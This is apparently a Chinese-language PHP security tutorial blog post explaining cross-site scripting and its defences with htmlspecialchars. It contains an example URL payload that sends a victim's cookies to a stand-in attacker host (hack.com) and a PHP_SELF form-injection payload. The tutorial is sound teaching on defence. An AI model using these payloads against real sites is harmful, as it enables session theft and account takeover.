首页 > 程序开发 > PHP > PHP漏洞解析(5)xss跨站脚本攻击
2014
11-06

PHP漏洞解析(5)xss跨站脚本攻击

XSS(Cross Site Scripting),意为跨网站脚本攻击,为了和样式表css(Cascading Style Sheet)区别,缩写为XSS。
跨站脚本主要被攻击者利用来读取网站用户的cookies或者其他个人数据,一旦攻击者得到这些数据,那么他就可以伪装成此用户来登录网站,获得此用户的权限。

跨站脚本攻击的一般步骤:
1、攻击者以某种方式发送xss的http链接给目标用户
2、目标用户登录此网站,在登陆期间打开了攻击者发送的xss链接
3、网站执行了此xss攻击脚本
4、目标用户页面跳转到攻击者的网站,攻击者取得了目标用户的信息
5、攻击者使用目标用户的信息登录网站,完成攻击

当有存在跨站漏洞的程序出现的时候,攻击者可以构造类似

 http://www.uuling.com/search.php?key=<script>document.location=’http://www.hack.com/getcookie.php?cookie=’+document.cookie;</script> 

诱骗用户点击后,可以获取用户cookies值

防范方法:
利用htmlspecialchars函数将特殊字符转换成HTML编码

$_SERVER[“PHP_SELF”]变量的跨站
在某个表单中,如果提交参数给自己,会用这样的语句

<form action="<?php echo $_SERVER["PHP_SELF"];?>" method="POST">
……
</form>

$_SERVER[“PHP_SELF”]变量的值为当前页面名称

例:

http://www.uuling.com/get.php

get.php中上述的表单
那么我们提交

http://www.uuling.com/get.php/"><script>alert(document.cookie);</script>

那么表单变成

<form action="get.php/"><script>alert(document.cookie);</script>" method="POST">

跨站脚本被插进去了
防御方法还是使用htmlspecialchars过滤输出的变量,或者提交给自身文件的表单使用

<form action="" method="post">

这样直接避免了$_SERVER[“PHP_SELF”]变量被跨站

最后编辑日期:
作者:uuling
这个作者貌似有点懒,什么都没有留下。

留下一个回复

你的email不会被公开。